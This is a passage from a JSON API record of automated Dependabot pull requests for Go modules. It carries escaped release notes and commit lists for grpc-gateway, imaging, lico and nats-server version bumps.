href=\"https://redirect.github.com/gookit/config/issues/207\"\u003e#207\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gookit/config/commit/d3d84075b214b1fd76d7caa10479a01d595eb8a3\"\u003e\u003ccode\u003ed3d8407\u003c/code\u003e\u003c/a\u003e Fixed panic and bugs in Exists()/GetValue() (\u003ca href=\"https://redirect.github.com/gookit/config/issues/206\"\u003e#206\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/gookit/config/compare/v2.2.7...v2.2.8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/grpc-ecosystem/grpc-gateway/v2` from 2.28.0 to 2.29.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/releases\"\u003egithub.com/grpc-ecosystem/grpc-gateway/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.29.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: use proto.Merge to avoid copylocks with use_opaque_api=true by \u003ca href=\"https://github.com/emahiro\"\u003e\u003ccode\u003e@​emahiro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6383\"\u003egrpc-ecosystem/grpc-gateway#6383\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: allow proto3 optional fields in path parameters by \u003ca href=\"https://github.com/susanachl\"\u003e\u003ccode\u003e@​susanachl\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6416\"\u003egrpc-ecosystem/grpc-gateway#6416\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd option to disable HTTP method override by \u003ca href=\"https://github.com/achew22\"\u003e\u003ccode\u003e@​achew22\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6447\"\u003egrpc-ecosystem/grpc-gateway#6447\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd Go documentation badge to README by \u003ca href=\"https://github.com/achew22\"\u003e\u003ccode\u003e@​achew22\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6448\"\u003egrpc-ecosystem/grpc-gateway#6448\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: add missing return statements in error handler paths by \u003ca href=\"https://github.com/jet-go\"\u003e\u003ccode\u003e@​jet-go\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6561\"\u003egrpc-ecosystem/grpc-gateway#6561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDeprecate fields and methods if file is deprecated by \u003ca href=\"https://github.com/aidandj\"\u003e\u003ccode\u003e@​aidandj\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6613\"\u003egrpc-ecosystem/grpc-gateway#6613\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd edition 2024 support by \u003ca href=\"https://github.com/printfn\"\u003e\u003ccode\u003e@​printfn\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6622\"\u003egrpc-ecosystem/grpc-gateway#6622\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/emahiro\"\u003e\u003ccode\u003e@​emahiro\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6383\"\u003egrpc-ecosystem/grpc-gateway#6383\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/susanachl\"\u003e\u003ccode\u003e@​susanachl\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6416\"\u003egrpc-ecosystem/grpc-gateway#6416\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jet-go\"\u003e\u003ccode\u003e@​jet-go\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6561\"\u003egrpc-ecosystem/grpc-gateway#6561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aidandj\"\u003e\u003ccode\u003e@​aidandj\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6613\"\u003egrpc-ecosystem/grpc-gateway#6613\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/printfn\"\u003e\u003ccode\u003e@​printfn\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/pull/6622\"\u003egrpc-ecosystem/grpc-gateway#6622\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/compare/v2.28.0...v2.29.0\"\u003ehttps://github.com/grpc-ecosystem/grpc-gateway/compare/v2.28.0...v2.29.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/ba9b55c1c15c84633be18c45463e123f31a5e999\"\u003e\u003ccode\u003eba9b55c\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency rules_shell to v0.8.0 (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6626\"\u003e#6626\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/284a82e32510ab296f3376639c3384a9fde9d6a8\"\u003e\u003ccode\u003e284a82e\u003c/code\u003e\u003c/a\u003e chore(deps): update googleapis digest to bcfcbda (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6625\"\u003e#6625\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/f74bc7f61e9647b63208c71afdb33e8bda88a12e\"\u003e\u003ccode\u003ef74bc7f\u003c/code\u003e\u003c/a\u003e chore(deps): update google/oss-fuzz digest to d58fd64 (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6624\"\u003e#6624\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/efb665d2bbb31a2a04bc4d15fc0e051bf18256bd\"\u003e\u003ccode\u003eefb665d\u003c/code\u003e\u003c/a\u003e Add edition 2024 support (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6622\"\u003e#6622\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/c58da15c3fda1408e94e96e6f9a1f4b84bf3bca3\"\u003e\u003ccode\u003ec58da15\u003c/code\u003e\u003c/a\u003e chore(deps): update google/oss-fuzz digest to 32b8df7 (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6621\"\u003e#6621\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/42997a1462c474d684193d487ee4afb27d091602\"\u003e\u003ccode\u003e42997a1\u003c/code\u003e\u003c/a\u003e Deprecate fields and methods if file is deprecated (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6613\"\u003e#6613\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/6f4af8b90c7c3d6e0cc7cac34ead8935c0a91f25\"\u003e\u003ccode\u003e6f4af8b\u003c/code\u003e\u003c/a\u003e chore(deps): update googleapis digest to bf85cad (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6620\"\u003e#6620\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/68fde5fdf679914dd665e3175fe1ff23b384c14f\"\u003e\u003ccode\u003e68fde5f\u003c/code\u003e\u003c/a\u003e chore(deps): update google/oss-fuzz digest to 7b814a1 (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6619\"\u003e#6619\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/6da2a4639ade2f9684cc6296be52400113da671e\"\u003e\u003ccode\u003e6da2a46\u003c/code\u003e\u003c/a\u003e chore(deps): update googleapis digest to 898f25c (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6617\"\u003e#6617\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/commit/c9c7ad4d48b2b43087c347ac92ec6c385f53c6a6\"\u003e\u003ccode\u003ec9c7ad4\u003c/code\u003e\u003c/a\u003e chore(deps): update googleapis digest to fc96870 (\u003ca href=\"https://redirect.github.com/grpc-ecosystem/grpc-gateway/issues/6616\"\u003e#6616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/grpc-ecosystem/grpc-gateway/compare/v2.28.0...v2.29.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/kovidgoyal/imaging` from 1.8.19 to 1.8.21\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/kovidgoyal/imaging/releases\"\u003egithub.com/kovidgoyal/imaging's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.8.21\u003c/h2\u003e\n\u003cp\u003eNo release notes provided.\u003c/p\u003e\n\u003ch2\u003ev1.8.20\u003c/h2\u003e\n\u003cp\u003eNo release notes provided.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/5566bec6274fab86087655ea1fc44027e042c73a\"\u003e\u003ccode\u003e5566bec\u003c/code\u003e\u003c/a\u003e version 1.8.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/13f87ffec9f0be3fbb9abf21648a966aa70239eb\"\u003e\u003ccode\u003e13f87ff\u003c/code\u003e\u003c/a\u003e Micro optimisation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/cdab4a3c04f8f5869b1618bf5b9a5d8ec7a19b93\"\u003e\u003ccode\u003ecdab4a3\u003c/code\u003e\u003c/a\u003e Fix incorrect gamut mapping for XYZ to sRGB using the optimised pipeline\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/103f593993ab67237d7d7d20c0a569978ef5d778\"\u003e\u003ccode\u003e103f593\u003c/code\u003e\u003c/a\u003e Fix incorrect gamut mapping fallback when no mapped color is found\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/f53b95cc2236ea59b2700224866f33b0381c02eb\"\u003e\u003ccode\u003ef53b95c\u003c/code\u003e\u003c/a\u003e Add a jpeg test case that does not convert correctly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/daa34ccb6fa56fc0b190f74517f831dbaf78bb5b\"\u003e\u003ccode\u003edaa34cc\u003c/code\u003e\u003c/a\u003e bump image dep for vuln\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/811ca13273850b5bc8a8d5dc9e0cf155f643ea0f\"\u003e\u003ccode\u003e811ca13\u003c/code\u003e\u003c/a\u003e Merge branch 'patch-1' of \u003ca href=\"https://github.com/codelif/imaging\"\u003ehttps://github.com/codelif/imaging\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/825bccf61320c0cff95ecfc599e566b771a97475\"\u003e\u003ccode\u003e825bccf\u003c/code\u003e\u003c/a\u003e docs: fix disintegration/imaging typo\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/96e5da8e67077a07a6b3175861c199b4532230ab\"\u003e\u003ccode\u003e96e5da8\u003c/code\u003e\u003c/a\u003e Merge branch 'dependabot/go_modules/all-go-deps-a2b68a3daf' of \u003ca href=\"https://github\"\u003ehttps://github\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kovidgoyal/imaging/commit/276172d13457b0105401e919014e41780f1f1046\"\u003e\u003ccode\u003e276172d\u003c/code\u003e\u003c/a\u003e Bump golang.org/x/image from 0.36.0 to 0.37.0 in the all-go-deps group\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/kovidgoyal/imaging/compare/v1.8.19...v1.8.21\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/libregraph/lico` from 0.66.0 to 0.67.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/libregraph/lico/blob/master/CHANGELOG.md\"\u003egithub.com/libregraph/lico's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.67.0 (2026-03-18)\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eBump github.com/russellhaering/goxmldsig from 1.5.0 to 1.6.0\u003c/li\u003e\n\u003cli\u003eRun npx update-browserslist-db@latest\u003c/li\u003e\n\u003cli\u003eAdd signed JWT auto sign-in flow (LibreGraph.SignedLoginOK)\u003c/li\u003e\n\u003cli\u003eFix Go formatting treewide\u003c/li\u003e\n\u003cli\u003eAdd per-client external authorize redirect URIs\u003c/li\u003e\n\u003cli\u003eRework banner logo height to use named sizes instead of pixels\u003c/li\u003e\n\u003cli\u003eAdd configurable banner logo height via --identifier-default-banner-logo-height\u003c/li\u003e\n\u003cli\u003eBump docs to match Go 1.24 requirement\u003c/li\u003e\n\u003cli\u003eBump github.com/prometheus/client_golang from 1.15.1 to 1.23.2\u003c/li\u003e\n\u003cli\u003eBump github.com/beevik/etree from 1.5.1 to 1.6.0\u003c/li\u003e\n\u003cli\u003eBump golang.org/x/crypto from 0.37.0 to 0.45.0\u003c/li\u003e\n\u003cli\u003echore: drop gofrs/uuid module usage and use google/uuid\u003c/li\u003e\n\u003cli\u003eUpdate golangci-lint to version 2\u003c/li\u003e\n\u003cli\u003eBump golang.org/x/oauth2 from 0.8.0 to 0.31.0\u003c/li\u003e\n\u003cli\u003eBump golang.org/x/time from 0.3.0 to 0.13.0\u003c/li\u003e\n\u003cli\u003eBump form-data from 4.0.0 to 4.0.4 in /identifier\u003c/li\u003e\n\u003cli\u003eBump golang.org/x/oauth2 from 0.8.0 to 0.27.0\u003c/li\u003e\n\u003cli\u003eFix typos an add API section to README\u003c/li\u003e\n\u003cli\u003eFix form submission handler regression introduced in class-to-functional conversion\u003c/li\u003e\n\u003cli\u003eReplace konnect-identifier-api-v1 with comprehensive LibreGraph Connect OpenAPI spec\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/bf134870bde0dded27460b7869c22d34daf87b55\"\u003e\u003ccode\u003ebf13487\u003c/code\u003e\u003c/a\u003e Add v0.67.0 to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/95d191057a7bcf9ab560f3dcdc4cf6b1d2be145d\"\u003e\u003ccode\u003e95d1910\u003c/code\u003e\u003c/a\u003e Bump github.com/russellhaering/goxmldsig from 1.5.0 to 1.6.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/73b43ef57bb185b21884fafff2d55923e6652bf6\"\u003e\u003ccode\u003e73b43ef\u003c/code\u003e\u003c/a\u003e Run npx update-browserslist-db@latest\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/a85d812f3c84bc940c46dbe36a70eeb7df3fc440\"\u003e\u003ccode\u003ea85d812\u003c/code\u003e\u003c/a\u003e Add signed JWT auto sign-in flow (LibreGraph.SignedLoginOK)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/8d796d3bf52c953d258a464a75c23b14765b06e5\"\u003e\u003ccode\u003e8d796d3\u003c/code\u003e\u003c/a\u003e Fix Go formatting treewide\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/25f1535566c3d1bd276ac2e6a9632b2c6a328d1c\"\u003e\u003ccode\u003e25f1535\u003c/code\u003e\u003c/a\u003e Add per-client external authorize redirect URIs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/e9dd6ff792ccce3de8d0d3ae11ef6ebf6c522498\"\u003e\u003ccode\u003ee9dd6ff\u003c/code\u003e\u003c/a\u003e Rework banner logo height to use named sizes instead of pixels\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/b052fc93a372862d3266b52a173927cf5c54cb46\"\u003e\u003ccode\u003eb052fc9\u003c/code\u003e\u003c/a\u003e Add configurable banner logo height via --identifier-default-banner-logo-height\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/5a08cbe8b5b367920c232cd6c0a6077b7444e1b8\"\u003e\u003ccode\u003e5a08cbe\u003c/code\u003e\u003c/a\u003e Bump docs to match Go 1.24 requirement\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/libregraph/lico/commit/a9c4c63616d13040e4d16d0dc81db796e940c452\"\u003e\u003ccode\u003ea9c4c63\u003c/code\u003e\u003c/a\u003e Bump github.com/prometheus/client_golang from 1.15.1 to 1.23.2\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/libregraph/lico/compare/v0.66.0...v0.67.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.12.6 to 2.14.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.14.1\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_214\"\u003e2.14 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.12.x. Please note that the 2.13.x version was skipped.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.26.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8107\"\u003e#8107\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/klauspost/compress v1.18.6 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8124\"\u003e#8124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egolang.org/x/crypto v0.51.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8124\"\u003e#8124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egolang.org/x/sys v0.44.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8124\"\u003e#8124\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNew metrics \u003ccode\u003ein_client_msgs...\n\n_Description has been truncated_","html_url":"https://github.com/ddelange/ocis/pull/2350","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ddelange%2Focis/issues/2350","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/2350/packages"},{"uuid":"4380245633","node_id":"PR_kwDORgffVc7YMowF","number":148,"state":"open","title":"chore(deps): Bump github.com/nats-io/nats-server/v2 from 2.12.6 to 2.14.0 in /services/tool-learning","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-04T23:02:23.000Z","updated_at":"2026-05-04T23:02:24.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): Bump","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.14.0","repository_url":"https://github.com/nats-io/nats-server"}],"path":"/services/tool-learning","ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.6 to 2.14.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.14.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_214\"\u003e2.14 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.12.x. Please note that the 2.13.x version was skipped.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.26.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFeature flags in the server configuration (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7866\"\u003e#7866\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-53.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-53.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFast-ingest batch publishing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7778\"\u003e#7778\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7892\"\u003e#7892\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7894\"\u003e#7894\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7945\"\u003e#7945\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eAllows high-speed publishing of message batches into the server when using a supported client\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-50.md#fast-ingest-batch-publishing\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-50.md#fast-ingest-batch-publishing\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eRepeating \u0026amp; cron-based message schedules (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7504\"\u003e#7504\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7687\"\u003e#7687\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7688\"\u003e#7688\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule\u003c/code\u003e header can now be configured on a repeating basis, i.e. \u003ccode\u003e@every 5m\u003c/code\u003e, \u003ccode\u003e@hourly\u003c/code\u003e or using crontab-like syntax\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eScheduled subject sampling (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7506\"\u003e#7506\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule-Source\u003c/code\u003e header allows sampling the contents of the last message in the stream for a given subject, allowing sampling of values at a different rate to the original publisher\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md#subject-sampling\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md#subject-sampling\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eScheduled subject rollups (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7559\"\u003e#7559\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule-Rollup\u003c/code\u003e header allows initiating a rollup of the \u003ccode\u003eNats-Schedule-Target\u003c/code\u003e subject on a scheduled basis\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eConsumer reset API (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7489\"\u003e#7489\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eIt is now possible to reset a consumer back to an earlier sequence number using the \u003ccode\u003e$JS.API.CONSUMER.RESET.stream.consumer\u003c/code\u003e API without deleting and recreating it\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-60.md#consumer-delivery-state-reset-api\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-60.md#consumer-delivery-state-reset-api\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eDomain-aware ack and flow control subjects (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7860\"\u003e#7860\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThis is disabled by default and can be enabled with the \u003ccode\u003ejs_ack_fc_v2\u003c/code\u003e feature flag, this will be enabled by default in v2.15\u003c/li\u003e\n\u003cli\u003eIn an environment where ACLs are used to control ack or flow control subjects, updates will be required to match the new \u003ccode\u003e$JS.ACK.domain.acchash.stream.consumer.\u0026gt;\u003c/code\u003e and \u003ccode\u003e$JS.FC.domain.acchash.stream.consumer.\u0026gt;\u003c/code\u003e subject formats\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAsynchronous stream state snapshots for replicated streams (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7876\"\u003e#7876\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eAllows stream state snapshots to be taken and written without pausing stream processing, improving tail latencies\u003c/li\u003e\n\u003cli\u003eThis is particularly impactful in cases where the stream has a large number of interior deletes\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAbility to disable message deduplication when sourcing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7651\"\u003e#7651\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLeafnode remote configurations can now be added and removed at runtime by reloading the configuration (\u003ca 